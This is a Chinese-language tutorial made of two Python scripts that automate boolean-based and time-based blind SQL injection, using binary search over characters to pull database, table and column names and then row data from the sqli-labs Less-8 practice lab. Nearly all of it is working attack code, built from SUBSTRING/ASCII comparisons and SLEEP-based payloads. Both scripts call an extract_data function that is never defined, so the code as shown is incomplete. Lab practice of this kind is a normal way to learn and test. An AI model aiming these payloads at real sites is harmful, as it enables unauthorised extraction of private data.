利用二分法+布尔盲注、时间盲注进行sql注入

一、布尔盲注：

python 复制代码

import requests
 
def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
        res = {"id": payload}
        r = requests.get(url, params=res)
 
        if "You are in.........." in r.text:
            low = mid
        else:
            high = mid - 1
 
    return chr(low) if low > 32 else ''
 
if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")
 
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")
 
    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")
 
    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")
    print(f"数据库名: {database_name}")
    print(f"表名: {table_names}")
    print(f"列名: {column_names}")
    print(f"数据: {extracted_values}")

二、时间盲注：

python 复制代码

import requests
import time
 
def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND IF(ASCII(SUBSTRING(({query}),{index},1)) >= {mid}, SLEEP(2), 0) -- "
        res = {"id": payload}
        
        start_time = time.time()
        r = requests.get(url, params=res)
        response_time = time.time() - start_time
        
        if response_time > 1.5:  # 服务器延迟意味着条件成立
            low = mid
        else:
            high = mid - 1
 
    return chr(low) if low > 32 else ''
 
if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")
 
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")
 
    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")
 
    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")